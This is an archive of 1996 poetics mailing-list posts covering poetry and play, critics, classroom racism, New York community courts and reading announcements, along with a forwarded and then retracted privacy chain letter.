i hit up some poets whose work i've liked a long time, and, from this list, i received a lot of work that is just about exactly what i wanted to get. unfortunately, i also got work from women on a one to seven ratio! (another thread that would be interesting to pursue.) i then tried to make a concerted effort to attract women; trolling, as it is called on irc. a stupid error happened that is embarassing but should be funny. i wrote a particularly intelligent woman on this list (based on the content of her posts) begging work from her. she isn't a

poet. she's a critic. i bet most of you know exactly who i mean! the result of that troll was null. there is still a seven to one ratio of men to women.

there is still room for submissions to Happy Genius. in order to use the perfect binding method, at least 96 pages are necessary. i have almost that much now, and could put in one or two of my own longer poems (which are brilliant!), but i would prefer more work.

long poems, word play, mental activity, that's what i like.

please note that my email address has changed to:
[redacted]

and my snail mail address has changed to:
Happy Genius
Pete Landers, ed.
34 Rose Circle
Hamlin, NY 14464

in other words, if you snail me and don't think "Gertrude", it could be the wrong address. is that obscure? sorry. Stein made the circle of "a rose is a rose is a rose is". rose circle.

again, if Happy Genius is going too slowly and i'm holding your poem, get in touch. i'm not Clayton-like*. i'll send my phone # back channel if you want to talk.

Pete Landers
[redacted]

* bashing Clayton is fun, but i'm sorry to hear Sulphur is in a bad way with money. with or without the controversies, he and Eliot put some good work out there and they have excellent distribution. maybe it's time he pull a Heyerdahl on those cave painting technix.

↑ Index

426. Michael Boughn
Re: redux is a drug
Fri 20 Sep 1996

Personally, I'd like to see BIGGER dildoes in more flavours. After all, this is America, ain't it?

Mike
[redacted]

↑ Index

427. Carl Lynden Peters
Re: poetry and play
Fri 20 Sep 1996

gary,

bpNichol! lots and lots and lots of bpNichol! -- have you seen the collected performance scores of the _four horsemen_? you can still get this thru karl young.

take care,

c.

↑ Index

428. Pete Landers
Re: redux is a drug
Fri 20 Sep 1996

henry wrote:
>
> On Fri, 20 Sep 1996 04:54:37 -0700 Rachel Loden said:
> >henry wrote:
> >
> >> 1. Less silly chatter of no "poetics"interest
> >
> >Interesting the assumptions in this statement. The dry heaves of
> >dueling press releases (as in the poets vs. critics thread) are "of
> >poetics interest." Pomposity is fascinating. Satire is silly.

etc...

the poets vs. critics thread almost got me to unlurk. might as well say it now. in my opinion, criticism is useful. it's like religion for the people who want some spirituality but don't want to figure out the core texts for themselves. poems are for people who read poetry and criticism, likewise, is for people who want it. bashing all critics, like bashing all religions, is wasted energy. one might as well hate Carl Sagan for bawdlerizing modern science. might as well hate snow for falling, water for being wet.

what do i want from this list? i can say what i don't want. i don't want to put limits to any discussion here.

Pete Landers
[redacted]

↑ Index

429. Robert Drake
[[redacted]: Call for submissions]
Fri 20 Sep 1996

========== Begin forwarded message ==========

From: [redacted] (Harold Jaffe)
To: [redacted]
Subject: Call for submissions
Date: Fri, 20 Sep

Would it be possible for you to forward the following ad to your lists:

Call For Submissions

Fiction International will be publishing its second consecutive issue on the subject of Pain. Fiction, non-fiction, hybrid forms and visuals should be sent (with SASE) between 9/1/96 and 12/15/96 to: Harold Jaffe, Editor, Fiction International, English Dept. San Diego State University, San Diego, CA 92182-8140. Please write "Pain" on your envelope.

Thanks,
Harold Jaffe, Editor

↑ Index

430. Robert Drake
Re: redux is a drug
Fri 20 Sep 1996

---

hello all,
i was asked to line a clamshell box
with felt. the box is going to house
a volume bound in goatskin.
the felt i can get is 100% polyester.
i would like to find out
whether its use is objectionable
and for what reason?
thank you gudrun

[found 9/19/96]

↑ Index

431. bitmap addressing

Re: student racism (white trash)

Fri 20 Sep 1996

I must say that i come from a very long line of white trash and carry the appelation proudly. My wife and i were discussing last night how my family line is full of people who were too dirt poor to be oppressors. I'm sure if given the chance my ancestors would have been excellent at it & i would come from a long line of slaveholders and genocidal poops. But as it is as far back as the family has roots we have always been dirt poor white trash with its accompanying complexes of racism, sexism, abuse, addiction, & incest.

filch

> *& it's not just race; it's class as well. In the prep school I taught in in NY state, some students uncritically referred to lower class whites as "white trash." I said, "let's find a better word." A student replied, "Oh, they're not white trash?" I said, "These people would fall under the category `poor white trash.' But I don't believe we should refer to any human beings as trash, especially not in a classroom." "Wow, I never thought of that." These kids are receiving superb educations.*

↑ Index

432. Christina Fairbank Chirot

1st Amendment Freedom: Community Vigilantes: N.Y.C. Community Court

Fri 20 Sep 1996

Carl Peters had an excellent suggestion re poetry & play--The Prose Tattoo by The Four Horsemen, available from Karl Young's Light and Dust. Light and Dust also has cassettes of Paul Dutton, Rafael Barreto-Rivera and bpNichol available, as well as othe bpNichol texts. Look for Light and Dust at Grist On-Line http://www/thing.net/~grist

also re poetry and play,(and who gets to play and who not) racism & class war--here is the following

From: [redacted]
Subject: Community Vigilantes: N.Y.C. Community Court

This Community Wants Its Very Own
Kangaroo Court
by Robert Lederman

On Tuesday night (9/17/96) I attended a meeting of
Community Board #2's Community Court Task
Force. As the president of A.R.T.I.S.T., an

advocacy group for N.Y.C. street artists, my concern is that CB#2 and City Council Member Kathryn Freed will use the proposed Community Court to further harass and persecute street artists in SoHo and the West Village. Having been an artist-defendant a number of times in the 54th Street Community Court, which CB#2 acknowledges as their role model, I wanted to find out just what CB#2 had in mind.

The 54th Street Community Court specializes in targeting minorities, the poor, the homeless, disabled veteran vendors and street artists accused of "violating" the community. These "violations" usually involve nothing more than being in the area. It is neither a court of equal justice nor of constitutional law. This "court" functions as a mechanism for business interests and local community "activists" to harass and eliminate so-called "undesirables" whom the police are unable to focus attention on while dealing with legitimate issues of public safety and crime.

Alan Gerson is the chair of the CB#2 Community Court Task Force. He took issue with a letter I had written to a local newspaper criticizing the proposed Court as a vehicle for Council Member Freed's particular brand of vigilantism and assured me I'd "...gotten it all wrong". At first, Gerson vigorously denied that Council Member Freed had anything to do with the proposed Community Court. Later he admitted that he was appointed to CB#2 and to the chair of the Committee by Council Member Freed and that numerous other board members were also appointed by Freed. Ms. Freed has built a career on "quality of life" issues and is working with the Fifth Avenue Association, the SoHo Alliance and other real estate interests to eliminate First Amendment protection for visual art as a means of eliminating artists from New York City's streets.

Gerson had a large pile of copies of a document he'd written entitled, "Outline For CB#2's Community Court". After much pressuring, he allowed me a brief look at the document and then quickly took it back.

The document was later leaked to me by a board member.

Like the 54th Street Court on which it is modeled the goal of CB#2's Court is to address so-called "quality of life" violations rather than robberies, rapes or serious criminal offenses. According to Gerson's outline, "Late night hours would be utilized by the police to bring individuals they find engaged in illicit activity to the court for immediate intake." The "illicit activities" would presumably include displaying art, playing a radio, loitering, panhandling, sleeping on the street, distributing handbills, vending or holding an open beer.

CB#2's proposed court would not just be a vehicle for police activity. Local residents would be encouraged to identify quality of life violators and bring them before the court. "Community residents...must have standing to initiate 'citizen suits' alleging the violation of the administrative code...[by] signing a petition or [by] the endorsement of the community board." While the initial target of this neighborhood "cleanup" will be "outsiders", the outline acknowledges that, "...most such alleged violations involve accusations among neighbors, including neighboring residents and businesses". In other words, anyone with a petty grudge against his or her neighbor will now have a means of dragging them into court on the pretext of having violated their "life quality".

While expressing deep admiration for the 54th Street Court, CB#2 wants to go even further in their practice of "justice" than its role model does. "In criminal violations, the court must be authorized to conduct trials. In that way our court would differ from the Midtown Court which only deals with defendants who plead guilty, and refers other defendants to the regular courts. The CB#2 Court could therefore conduct any necessary trials." In the midtown court defendants who are not successfully coerced into pleading guilty and doing community

service are immediately rescheduled for arraignment in Manhattan Criminal Court at 100 Centre Street.

Justice will be swift and certain in CB#2's court. "The Court must be set up to conduct intake for persons accused of criminal violations...and would therefore need to include a holding area supervised by Court Officers. The immediacy of intake would send a positive message to defendants and potential defendants using our streets...".

Nevertheless, CB#2 does not intend to sentence defendants to actual jail time. "Our Community Court would never impose jail sentences. In addition to imposing fines, the Court would utilize alternative sentencing for persons who plead guilty or are found guilty of criminal violations. The court would retain jurisdiction over the sentenced defendant until he or she completes their sentence. Persons who refuse to complete their sentence, and repeat offenders, would be referred to the regular criminal court system, where jail time remains an option." Alternative sentencing includes cleaning and sweeping CB#2's streets, painting buildings and doing landscaping and maintenance for the "community".

Barbara Feldt, a community activist from the 54th Street Court was a guest speaker at the meeting and gave us some idea of just how this "alternative sentencing" works. "My personal interest is in maintaining trees", she explained. "So I call up the 54th Street Court Supervisor and have them send over defendants, who I supervise in maintaining the trees in my neighborhood". When I commented that this sounded a bit like legalized slavery, she became offended and assured me that she had never profited in a personal way from any of the crews assigned to work under her direction. She also described how she and other 54th Street Court "community activists" had obtained the names and addresses of men arrested by undercover cops who pose as prostitutes and solicit passing cars, and had written personal letters to each of their wives.

Unlike the 54th Street court, which was built and continues to be financed by the Fifth Avenue and Times Sq. Business Improvement Districts, C.B. #2 believes their court, "...deserves full public financing from the City and State", and proposes, "...an aggressive campaign for grants from the federal government and from foundations...". The grants from foundations would include money from N.Y.U. which could use the court as a, "...wonderful opportunity for collaboration between the criminal justice system and higher education".

The trend of developing Community Courts goes hand in hand with the spread of B.I.D.s (Business Improvement Districts). Business and community "leaders" are dissatisfied with the delays caused by bothersome constitutional protections such as the First Amendment, due process and civil rights, and the fact that many judges dismiss quality of life cases because they know the defendants were arrested due to their race or social status.

B.I.D.'s and community courts transfer the authority of duly elected government officials and judges to local business leaders who make no pretext of understanding or caring about civil liberties. B.I.D.s and Community Courts are simply advocates for property owners and real estate interests. Protecting the real or imaginary "rights" of property owners is their sole mission.

Unlike Manhattan Criminal court, where only 80-90% of the defendants are minorities, at the 54th Street Community Court virtually 100% of the defendants are African-American or Latino. Most know nothing of their legal rights. Almost all accept a guilty plea and do community service after being coerced into doing so by their court appointed lawyer, a judge answerable to and appointed by the local community and helpful "intake personnel". They are then used by the same "community activists" who had them arrested and by the B.I.D.s as a source of unpaid labor within the community.

The more arrests that are made the greater the supply of free labor.

Admittedly, this is an ingenious return to the plantation system which helped build this nation in the 17th and 18th centuries. Community Court convict-defendants usually wear orange or other easily identifiable coveralls emblazoned with the courts' logo while working out their sentences in the community. Ms. Feldt calls this forced labor, "...giving something back to the community".

Rather than creating jobs or addressing social inequality, this system puts poor people to work as a punishment for being visible in an otherwise middle-class or wealthy community. Community Courts are similar to the vigilante justice practiced by groups like the Klu Klux Klan and can ultimately lead to the kind of police state that existed in Nazi Germany and in the Soviet Union. There, every citizen acted as a police informer reporting the real or imaginary transgressions of foreigners, peddlers, outsiders and eventually, their own neighbors. The motivation is blatantly racist and classist. In the Manhattan D.A.'s words it is, "A bad idea whose time has come".

For more information on A.R.T.I.S.T. contact:
Robert Lederman, president of A.R.T.I.S.T.
(Artists' Response To Illegal State Tactics)
[redacted] E-mail [redacted]
A.R.T.I.S.T. web site [a journalistic resource]:
http://www.openair.org/alerts/artist/nyc.html

A Selection of Articles on the Street Artist issue..... Daily News 9/8/96 pg. 13, "Law Called Vend-ictive"; Art In America, March 1996 pg. 128 "New Allies for Street Artists"; New York Times, Sunday July 14, 1996, City section pg 1); "The War of Nerves Downtown; Kathryn Freed's War of Nerves" [detailed expose of City Council Member Freed]; N.Y. Times 9/1/96 City Section pg 1; "Is This Man Dangerous? The Portrait Artist in an Age of Zero Tolerance; Inside the Quality of Life Wars"; Christian Science Monitor Wednesday, February 14,

1996 "Conflict On the Street: Artists v. N.Y.C.";
New York Times Wednesday, January 24, 1996
Metro section pg. B1 "Street Art: Free Speech or Just
Stuff?"; New York Magazine, January 23, 1995 pg 16
"Among the Artlaws"; N.Y. Post 5/26/94 pg. 54,
"Throwing the Book at Artist"; Christian Science
Monitor Thursday, July 14, 1994 pg. 11 "New York
Reins In Street Art"; Time Out Magazine Feb 21-27
1996 pg. 18 "Peddle Pushers"; New York Amsterdam
News Saturday, June 15, 1996 pg. 4 "Artists To Sue
Over First Amendment Right of Speech".

Council Member Freed [redacted]
C.B.#2 [redacted]
Manhattan D.A. [redacted]

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433. Herb Levy
Re: redux is a drug
Fri 20 Sep 1996

Mike Boughn writes:

> *Personally, I'd like to see BIGGER dildoes in more flavours. After all, this is America, ain't it?*

Exactly how long HAVE you been living in Toronto, Mike?

Herb Levy
[redacted]

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434. Christina Fairbank Chirot
correction
Fri 20 Sep 1996

correction: grist On-Line is http://www.thing.net/~grist (typed an / in place of a . previously)

also check out Translating Translating Apollinaire by bpNichol et al and Six
Fillious (by Robert Filliou, George brecht, Dieter Roth, bpNichol, Steve McCaffery and Dick Higgins)
some of this work is on web site Poetry section of Light Dust--

or Art Facts by bpNichol from CHAX (also available from SPD)

--dbchirot

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435. Pritchett,Pat
Re: student racism (white trash)
Fri 20 Sep 1996

Interesting, Dodie. My grandfather was in the KKK, too. Worked the RR out of Knox, Indiana, but hailed from Evansville. In the 1930's, my father was a pool hustler and got into fights with people he called "hillbillies" though I don't imagine he was far removed from them himself. But in South Bend, where I grew up, everyone was Polish or so it seemed.

I'm curious about this thread on students & racism as I'm now an undergrad in Humanities at CU-Boulder at the maybe too ripe age of 39. After working in the film industry and the insurance biz, I've decided to become a professor (whatever that may be). So far, I've caught not a whiff of racism among my fellow students. The curriculum in my modern fiction class is fairly canonical, though, so it doesn't encourage people to venture into the kinds of discussions (or whining) that's been described here.

In my American Indian Religion class I can sense a strong, but unspoken, split among students: on the one hand, people are filled with an almost pious respect for Native Americans that borders on the sentimental; on the other hand, a sharp sense of condescension arises now and then, as if to say, "Well they were only Indians afterall and we are contemporary Americans, white & affluent." I feel this is largely attributable to the often callous attitude of the young, though I could be wrong. The teacher is Choctaw.

Anyway, these reports are none to encouraging...

Patrick Pritchett
[redacted]

From: Kevin Killian
To: Multiple recipients of list POETICS
Subject: Re: student racism (white trash)
Date: Friday, September 20, 1996 1:02PM

At 9:49 AM 9/20/96, bitmap addressing wrote:
>I must say that i come from a very long line of white trash and carry the
>appelation proudly. My wife and i were discussing last night how my family
>line is full of people who were too dirt poor to be oppressors. I'm sure
>if given the chance my ancestors would have been excellent at it & i would

>come from a long line of slaveholders and genocidal poops. But as it is as
>far back as the family has roots we have always been dirt poor white trash
>with its accompanying complexes of racism, sexism, abuse, addiction, &
>incest.
>
>filch

This is Dodie. While I wasn't raised in such an environment, my heritage too is a long line of white trash--my family was upwardly mobile skilled labor. After the depression many of my white trash (though hillbilly was the word of choice in Indiana) relatives migrated from Kentucky to the Calumet Region to get jobs in the mills and in construction. Up there, there was lots a prejudice against anybody with a Southern accent, and I took on that prejudice, and felt appauling shame at my relatives, my millions of bare-footed shitty toe-headed cousins. When I was in high school most of them moved back to Kentucky and onto welfare, and I haven't seen any of them since. I have come to more of an appreciations of my relatives--but my grandfather was in the Ku Klux, and I've heard stories of cousins getting into knife fights with blacks--I would hardly call them harmless.

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436. Burt Kimmelman
Re: poetry and play
Fri 20 Sep 1996

Gary,

Have you read THE PLAY OF THE WORLD by James Hans. No particular poem in it, but an incredible discussion of play that goes well beyond Huizinga's HOMO LUDEN as well as earlier poststructuralism.

Burt

↑ Index

437. Jordan Davis
Re: poetry and play
Fri 20 Sep 1996

The collaborations of John Ashbery and Kenneth Koch
" " " Ted Berrigan and Ron Padgett

The work of Bernadette Mayer
" " " Carla Harryman

↑ Index

438. Jordan Davis
deluxe drug introductions
Fri 20 Sep 1996

You know what I liked a lot in the last few months?
I liked Gale Nelson's posts about what he liked about
Bruce Andrews' work. They were detailed, thoughtful,
passionate, etc. On the axis of informing / posturing,
those were pretty saturated with information. I don't
suppose many of us have the time, now that postseason
play is nigh upon us, to compile _pro bono_ remarks
that would show some part of some aesthetic arc
that although in plain sight very truly goes unnoted.
But that sort of lawyering (as in "New Hope") can be
very bracing, especially if the inditor takes
Gale's cue and avoids special pleading -- sticking
to what is there and shying from 'why don't people
read this.' I know that _I_ don't read things, don't
go see things, don't think about things because
those things haven't been mentioned to me
(or if they have, and I've looked and not pursued,
then not pursuing has been either a matter of taste
or one of misunderstanding -- and misunderstanding
may possibly be corrected).

I guess you can tell from the look of this post that
I liked Ira's posts a lot too. Anyway, it's only
our time and money that we're spending on this. All
the posts are fine and unfinished. I may be looking
at a cathode ray tube but I'm not seeing the popular
culture or its countercultural mirror either, I'm
getting something being otherwise. As a denominator
that's enough for me, though I would like the multiple
to get going, if you dig. No? No dig? Ay! -- Jordan

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439. Steve Shoemaker
reading retallack
Fri 20 Sep 1996

Can anyone recommend useful essays or reviews on Joan Retallack's work, esp.
AFTERRIMAGES? Or does anyone have anything to say about it in this space?
I'm still trying to find my way in myself, but wld like to help create a good

reception when she comes to read here in November. Joan is a friend of mine, but for that reason i'm too embarrassed to ask for help firsthand. Thanks.

And btw, i guess this is my first post from Charleston, SC rather than Charlottesville, VA. The new address is [redacted] for anyone trying to get in touch.

Steve Shoemaker

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440. George Bowering
Re: poetry and play
Fri 20 Sep 1996

> *In message <[redacted]> UB Poetics discussion group writes:*
> *I'm putting together a course on play, games, and lit, and am looking for recommendations-- I've got fictions and theater covered, but the poetry side of the experience needs help. Stein and Cage are in the running, but other suggestions would be appreciated. Silly or serious poems/poets/poetics are welcome.*
> *Thanks,*
> *Gary Roberts*
>
> *the oulipo people, italo calvino, lewis carroll, ws gilbert, joan retallack, bp nichol, aram saroyan, ...*

I was going to mention most of them, esp I think harry Mathews and Georges Perec.

Add Jack Spicer.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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441. Louis Cabri
Re: redux is a drug
Fri 20 Sep 1996

henry,
it's wattle.
-l

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442. George Bowering
Re: student racism (white trash)
Fri 20 Sep 1996

> *But as it is as*
> *far back as the family has roots we have always been dirt poor white trash*
> *with its accompanying complexes of racism, sexism, abuse, addiction, &*
> *incest.*
>
> *filch*

Boy, when you put it in those terms, you're talking about my mother's family, which once in its life had the good sense to escape the Ozarks and move to Alberta, and then into B.C. mountains, where they sat on fences with long rifles and no shoes. No kidding.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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443. George Bowering
Re: redux is a drug
Fri 20 Sep 1996

> *Personally, I'd like to see BIGGER dildoes in more flavours. After*
> *all, this is America, ain't it?*
>
> *Mike*
> [redacted]

I knew it! I knew it! Mike B. is a sizist!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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444. James Sherry

Readings and Readings at The Segue Performance Space - October

Fri 20 Sep 1996

This is Dan Machlin over at The Segue Foundation.

The following are October Readings to be held at The Segue Performance Space, 303 East 8th Street, NY, NY (between Aves. B&C), Buzzer 1R. All events at 7:30 p.m. sharp, Suggested Contribution $3.00 (except OBJECT Mag. Benefit see below)

Thursday, October 3
LAURA MORIARTY & MELANIE NEILSON

Thursday, October 10
ELENI SIKELIANOS, LAIRD HUNT, CHARLES BORKHUIS

Thursday, October 17
LEE ANN BROWN (New video work + writings)
JULIE PATTON (Performance Texts)

Thursday, October 24
GROUP READINGS FROM THE SEGUE FOUNDATION SMALL-PRESS ARCHIVE
(A continuing series - shared texts provided)
Group Readings From TUUMBA - Lyn Hejinian's Letterpress Chapbook Series

MEN IN AIDA by David Melnick (#47 - Dec. 83)
PROPERTY by Carla Harryman (#39 - May 82)
BEYOND THE EDGE a double monologue by Doug Hall & Jody Procter of T.R. Uthco
(#8 - Mar. 77)
PLANE DEBRIS by Stephen Rodefer (#36 - Nov. 81)
THE GOSPEL OF CELINE ARNAULD by Clayton Eshleman (#12 - Nov. 77)

Sunday, October 27, 3:00 - 6:00 p.m., Suggested Contribution $5.00 OBJECT MAGAZINE BENEFIT READING Featuring Kim Rosenfield, Judith Goldman, Bruce Andrews, Brian Kim Stephans, Stacy Doris, Robert Kocik, Dan Farrell, Joe Elliot, Bill Luoma, Melanie Neilson, Tim Davis, Rob Fitterman, Jeff Hull, Elizabeth Fodaski & many others.

Thursday, October 31, Special Holloween Blockbuster Reading SIANNE NGAI, CAMILLE GUTHRIE & JUDITH GOLDMAN

- BEYOND OCTOBER -

Thursday, November 21
LISA JARNOT, JENNIFER MOXLEY

Thursday, December 12
PETER GIZZI, ERICA HUNT

& watch for other readings and performance events
t.b.a.

For more information about this series, the archive or the Performance Space you may e-mail after 9/22 to [redacted]

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445. Eliza McGrand- CVA Guest

Re: poetry and play

Fri 20 Sep 1996

---

i'd add judy grahn (for her wordplay) if you don't all think i'm too fuddy duddy for mentioning her...
e

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446. Gabrielle Welford

forward from another list - it's your privacy ... (fwd)

Fri 20 Sep 1996

---------- Forwarded message ----------
From: LYNN EUBANK <[redacted]>

This was sent to me by a reliable source in the AI lab, and I think you should all be aware of this also.

Your name, social security number, current address, previous addresses, mother's maiden name, birth date and other personal information are now available to anyone with a credit card through a new Lexis database called P-Trax. As I am sure you are aware, this information could be used to commit credit card fraud or otherwise allow someone else to use your identity.

You can have your name and information removed from this list by making a telephone request. Call [redacted], select option 4 and then option 3 ("all other questions") and tell the representative answering that you wish to remove your name from the P-trax database. You may also send a fax to [redacted], or physical mail to LEXIS-NEXIS / P.O. Box 933 / Dayton, Ohio 45401-0933.

Sending physical mail to confirm your name has been removed is always a good idea.

[Actually, it's option 4, then option 9, and all they tell you is that they need your request in writing (full name and address) sent to the fax or snail mail address listed above]

As word of the existence of this database has spread on the net, Lexis-Nexis has been inundated with calls, and has set up a special set of operators to handle the volume. In addition, Andrew Bleh (rhymes with "Play") is a manager responsible for this product, and is the person to whom complaints about the service could be directed. He can be reached at the above 800 number. Ask for extension 3385. According to Lexis, the manager responsible is Bill Fister at extension 1364.

The representative will need your name and social security number to remove you from the list.

****

Richard J. Samuels
Head, Department of Political Science
Director, MIT Japan Program
Massachusetts Institute of Technology
tel: [redacted] fax: [redacted]

Dr. Lynn Eubank, Chair
Graduate Studies in English
Department of English
University of North Texas
Denton, TX 76203
USA
[redacted]

Lynn Eubank, PhD
Division of Linguistics
Department of English
Univ of North Texas
Denton, TX 76203
USA
[redacted]
[redacted]

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447. Gabrielle Welford
Re: Nexis Lexis
Fri 20 Sep 1996

Ooops. Sorry all, just saw the corrections as I plough through my umpty ump messages. Ignore moi, pliss, I will sit in the dark. gab

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448. Gabrielle Welford
Re: poetry and play
Fri 20 Sep 1996

Tom Leonard is a great poetry player. gab.

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449. **Gabrielle Welford**
Re: redux is a drug
Fri 20 Sep 1996

On Fri, 20 Sep 1996, henry wrote:

> *By "poetics per se" I mean "the gab about poetry".*
> *But methinks perhaps the Muse hath departed.*

No, no, it's okay i'm still here. gab

↑ Index

450. **Gabrielle Welford**
Re: poetry and play
Fri 20 Sep 1996

Hey, no fuddyduddy in judy grahn as far as I know. "Descent to the Roses of the Family" not playful nor gamey, but certainly not fuddyduddy... gab.

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451. **Eliza McGrand- CVA Guest**
Re: poetry and play
Fri 20 Sep 1996

---

ooohhh, "Descent to the Roses of the Family" is new to me -- what is it from? Excitement, a new judy grahn poem!

no, i was thinking of the linguistic play of _She Who_...

e

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452. **Dean Taciuch**
Re: teaching traumas...
Sat 21 Sep 1996

This is a follow-up to Joe Amato's 'teaching traumas' post--I too have had similar experiences in both creative weiting and literature classes. The first was several years ago in an Intro Cw (poetry) course in which I tried to use the Before Columbus Foundation anthology. Several of the students liked the chance to see poetries in other forms, spoken forms for example, and dealing with materials they'd been told were not "poetic." But a few students (one in particular) was outraged by the introduction to the book (by Ishmael Reed) and simply could not get past that. He felt the entire book was an example of "reverse

racism." I tried speaking with him after class, but without much success. He went to the Department Chair, complained that the text was oppressing him--never mind the irony of him using the very rhetoric he described to me as "whining". . .

In another case though, I taught two advanced courses which could have gone the same way. One on Spoken Word Poetry which used, among others, the Aloud anthology; and another Postmodern Poetry course which drew heavily on what I thought were some very challenging and difficult poets. Anyway, the advanced courses were much more successful. I did encouter some resistance in the PM course, not concerning racism but simply due to the strangeness of some of the texts. In these classes, I used a method similar, I think, to Amato's pedagogy--I opened discussion by talking about how I tried to read these texts, both when I first encountered them, and my own lingering uncertainities. The students were not nearly as resistant, I think, when they saw that these were _supposed_ to be challenging texts, that they were _supposed_ to have some very fundamental questions about how to read, etc.

Of course, not everyone wants to challenged, not everyone wants these questions asked. And when the discussions got directly political, discussion clearly died down. I haven't tried Amato's technique of walking out, though. Maybe next time . .

Dean

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453. Alan Sondheim
207
Sat 21 Sep 1996

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[...] 1 America H$$v$ng 1 January February March April 1 May June July August 1 September October November December 1 brngng th$ wh$l$ t$ $ h$lt. Th$ c$$glt$$n s$nks l$$d$d nt th$ 1 $n c$mp$t$t$$n w$th th$ $n$rt dcy $f nvrsl cpt$l in America. 1 _h$$v$ng_ $f ffct,

r$$trt$$ns vr $nd vr $g$$n, $ thr$w $f th$ 1 prhps crss v$r$$$s nds, n$ d$m$ns$$n$l$ty $t ll, bt $ c$rt$$n 1 t$n$$$sly h$$v$s th$ ln $r pl$n$ $r n-d$m$ns$$n$l bjct, stttr$d 1 ; feels he's losing it / the application - 1 - just along for the ride - want to walk into a wall of flesh - or at 1 << much confusion prevails >>

↑ Index

454. **Brian Carpenter**
traumatic teaching
Sat 21 Sep 1996

Howdy--

Speaking as a middleclass whiteguy undergrad just one year out of high school it seems to me that professors and students alike ought to acknowledge that they are prey to the same variables (which have been farily well documented in this thread). Judging from the input in this thread the effects seem quite similar.

Adaptation to each others' learning/teaching "styles" is a central matter of course. For my own part, my entire perspective on the classroom dynamic shifted for the better after one of my best high school teachers told me bluntly (after I'd had her classes): "I'm here to learn. Teaching is entirely secondary." Many of the students you find sitting in your classroom (especially those fresh out of HS of course) hold in their minds a degree of perceived teacher-apathy from their high-school experience. This naturally gets carried over and projected onto their professors way too often and in turn is translated into student-apathy. I remember quite well that high-school students will tend to read an exhausted & flustered teacher as an apathetic teacher; likewise will undergrads tend to read the mannerisms of peeved professorship as a sort of You-Are-Here-To-Take-Notes default teachingmethod. When the class deals with texts, things to be actively engaged, this kind of communicative block extracts out a whole lot of potential energy from those students who do in fact give-a-damn about the texts as much as the professor. Way too many of these problems arise out of that common human problem of misreading other peoples' signals.

For students who are less engaging out of a more entrenched apathy I have nothing to offer. Such seems the nature of the Beast of Olde whose name is General Education Requirement. As to being 18-22 and knowing everything, thats all the more reason for confrontation not only from the texts but from the professor! In my limited experience, it seems that classroom problems and reactions to texts such as those voiced in this thread are precisely those from which the teacher has more opportunity than usual to wring out a learning

experience of particular quality for all involved. A classroomful of faces tepidly staring at you is understandably aggravating and difficult. Sitting amongst a classroomful of tepid stares and faces is also aggravating and difficult. Apathy expands exponentially. Seems to me that profs and students *in tandem* can most likely contain it so long as there's an understanding in the environment that problems that arise regarding content/style/whathaveyou can, ought, and will be dealt with through discussion of demographics (students', prof's, text's) as needed. This is, for the most part, a promoted way of saying "hear hear" to Joe Amato's comments on the matter:

> *confrontation of any sort is not going to be all that meaningful unless students (and faculty) are willing to articulate where they're coming from*
>
> *it takes some amount of work to create a classroom in which there's enough trust and commitment to entertain such provocations publicly...*

Takes some work indeed. Involving the students in the very process of creating said environment is a quicker, if not altogether more practical way of going about this. And I can think of no better instigator of this process than a text that pokes the reader in the, well.... wherever.

Apologies using this space to sound thoughtful sans any practical tips. Digressions happen. Classes start here on Tuesday, so I'll see how well I adapt to my profs and they to me. I trust we'll get along roaring well after a good sniffing.

Best,

Brian C

P.S. As to interest in reading lists, I am completing my first walk (or stroll as it were) through _Ulysses_--a book not to be finished. Thus ends my summer reading list. Bring on the syllabi!

""""""

on poetics you might have lying around the house. She suggests staying away from manuscripts of theory and criticism as generally they are too soft to make good dildoes.

For more info, backchannel Herb or me.

Mike
[redacted]

↑ Index

456. **Hank Lazer**
Re: reading retallack
Sat 21 Sep 1996

Steve--

There's a brief essay on Joan Retallack's work in my OPPOSING POETRIES (vol 2 - "Partial to Error: Joan Retallack's _Errata 5uite_"). I believe that Marjorie Perloff has written on AFTERRIMAGES, but I can't remember where the essay appeared--perhaps Sulfur?

Hank Lazer

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457. **Joe Amato**
Re: teaching traumas...
Sat 21 Sep 1996

---

dean, yeah---this is similar to what maria d. and others were saying some time ago... if you bring into a classroom some presumably difficult work, and you point out simply that it's not the sort of work that's supposed to be understood just like that, message-in-a-bottle-style---that it's work that requires a critical engagement, yes, even an unorthodox sense of things poetic, but that *anybody* can actively engage so---why then it's relatively easy to get class participants to begin to talk openly about what they make of the work... but the issue here, as you suggest, turns less on what *you* say about the work than on what *they* say... ergo the need to develop fora in which they're primarily the ones who are doing the saying, in which you offer your guidance/feedback etc. only as part of a larger class effort...

in this regard, i've also found online discussion lists useful (if you have the resources on your campus, have your computer folks set up a provisional list for your class)... online lists foster distances and proximities of a different order, depending on the individual... i've found it useful, recently, to put my syllabus up on the web (for a business com course, of all things), and to create link(s)

within my syllabus to appropriate web sites (as a start---each person has got to get in the habit of seeking out independently as well)... and as i posted some time ago, i've also required monthly electronic journals, based on the results of web searching and internet experience...

naturally there are issues here having to do with class level (grad, undergrad) and major (there are no english majors on my campus)... in a few cases, when a class member really gets into a specific author and generates something provocative, i've even put that person in contact (generally online) with the poet or writer in question... both ron silliman on this list, and michael joyce, have generously responded directly to some of my students... i wish i could use this latter strategy even more frequently, but of course this turns on how much time writers like ron or michael have to help me out with my job!...

anyway, just some thoughts... i think the key issue here is to think through the varying qualities of the student body (perhaps, as some have indicated, racist sexist etc. to varying degrees, but also inquisitive supportive etc. too) in terms of *instructional* authority and responsibility---which is to say, again, that we need as instructors to consider our own complicity in these various institutional evils, as brian c. indicates, and how best to 'get at' same given the full-range of educational apparatus we have available to us... when a dozen folks take to exploring in detail even the formal qualities of text, as many of you know, it becomes an exercise in negotiating conflicting values...

best,

joe

↑ Index

458. Alan Sondheim
Jennifer by Jennifer
Sat 21 Sep 1996

2.8

Jennifer

I will put a flower on my head
And I will get into my bed
And I will be dead

I will lead me to the slaughter
Up from the attic rafter
Down to the cleansing water

Lost I will never be
Nor kissed slavishly
Nor sung eternally

For I will put a rose upon my face
And I will lie down in my lace
And I will leave you in this place

Not for nothing, calls in winter
Birds in summer, called hereafter

↑ Index

459. **Dean Taciuch**
Re: teaching traumas...
Sat 21 Sep 1996

